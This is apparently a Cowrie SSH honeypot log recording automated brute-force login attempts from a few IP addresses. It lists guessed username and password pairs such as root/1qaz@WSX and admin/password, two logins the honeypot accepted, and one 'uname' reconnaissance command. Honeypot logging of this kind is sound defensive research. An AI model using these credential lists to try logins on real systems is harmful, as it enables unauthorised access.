{"eventid":"cowrie.login.success","username":"root","password":"123321","message":"login attempt [root/123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:32.682031Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:33.149173Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:33.152119Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:33.372198Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:33.376542Z","src_ip":"101.44.96.62","session":"573337b8b615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41436,"dst_ip":"159.203.135.109","dst_port":22,"session":"00f3ec178fd1","protocol":"ssh","message":"New connection: 101.44.96.62:41436 (159.203.135.109:22) [session: 00f3ec178fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:45.292091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:45.299620Z","src_ip":"101.44.96.62","session":"00f3ec178fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:45.510867Z","src_ip":"101.44.96.62","session":"00f3ec178fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker123","message":"login attempt [worker/worker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:46.370526Z","src_ip":"101.44.96.62","session":"00f3ec178fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:47.590398Z","src_ip":"101.44.96.62","session":"00f3ec178fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53898,"dst_ip":"159.203.135.109","dst_port":22,"session":"765a9164ce4b","protocol":"ssh","message":"New connection: 101.44.96.62:53898 (159.203.135.109:22) [session: 765a9164ce4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:58.647072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:58.729491Z","src_ip":"101.44.96.62","session":"765a9164ce4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:58.947594Z","src_ip":"101.44.96.62","session":"765a9164ce4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:01:59.604447Z","src_ip":"101.44.96.62","session":"765a9164ce4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:00.824816Z","src_ip":"101.44.96.62","session":"765a9164ce4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e91e0b02f864","protocol":"ssh","message":"New connection: 101.44.96.62:33992 (159.203.135.109:22) [session: e91e0b02f864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:12.016974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:12.021738Z","src_ip":"101.44.96.62","session":"e91e0b02f864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:12.236026Z","src_ip":"101.44.96.62","session":"e91e0b02f864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:12.877384Z","src_ip":"101.44.96.62","session":"e91e0b02f864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:14.093430Z","src_ip":"101.44.96.62","session":"e91e0b02f864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":28422,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d542ec1ec6","protocol":"ssh","message":"New connection: 2.57.122.193:28422 (10.17.0.5:22) [session: 08d542ec1ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:15.199950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:15.206991Z","src_ip":"2.57.122.193","session":"08d542ec1ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:15.306011Z","src_ip":"2.57.122.193","session":"08d542ec1ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:15.734793Z","src_ip":"2.57.122.193","session":"08d542ec1ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56676,"dst_ip":"159.203.135.109","dst_port":22,"session":"059c9cf542e2","protocol":"ssh","message":"New connection: 101.44.96.62:56676 (159.203.135.109:22) [session: 059c9cf542e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:25.351690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:25.356058Z","src_ip":"101.44.96.62","session":"059c9cf542e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:25.572495Z","src_ip":"101.44.96.62","session":"059c9cf542e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam","password":"steam123","message":"login attempt [steam/steam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:26.220337Z","src_ip":"101.44.96.62","session":"059c9cf542e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:27.440573Z","src_ip":"101.44.96.62","session":"059c9cf542e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43186,"dst_ip":"159.203.135.109","dst_port":22,"session":"36198f9397e3","protocol":"ssh","message":"New connection: 195.178.110.218:43186 (159.203.135.109:22) [session: 36198f9397e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:36.503578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:36.508471Z","src_ip":"195.178.110.218","session":"36198f9397e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:36.588281Z","src_ip":"195.178.110.218","session":"36198f9397e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:36.827565Z","src_ip":"195.178.110.218","session":"36198f9397e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:37.909867Z","src_ip":"195.178.110.218","session":"36198f9397e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45604,"dst_ip":"159.203.135.109","dst_port":22,"session":"eeff0d24794c","protocol":"ssh","message":"New connection: 101.44.96.62:45604 (159.203.135.109:22) [session: eeff0d24794c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:38.786282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:38.790780Z","src_ip":"101.44.96.62","session":"eeff0d24794c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:39.014407Z","src_ip":"101.44.96.62","session":"eeff0d24794c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:39.668098Z","src_ip":"101.44.96.62","session":"eeff0d24794c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:40.887372Z","src_ip":"101.44.96.62","session":"eeff0d24794c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33342,"dst_ip":"159.203.135.109","dst_port":22,"session":"626bb4c930ea","protocol":"ssh","message":"New connection: 101.44.96.62:33342 (159.203.135.109:22) [session: 626bb4c930ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:52.232952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:52.237131Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:52.453625Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:02:53.103354Z","src_ip":"101.44.96.62","session":"626bb4c930ea","protocol":"ssh"}
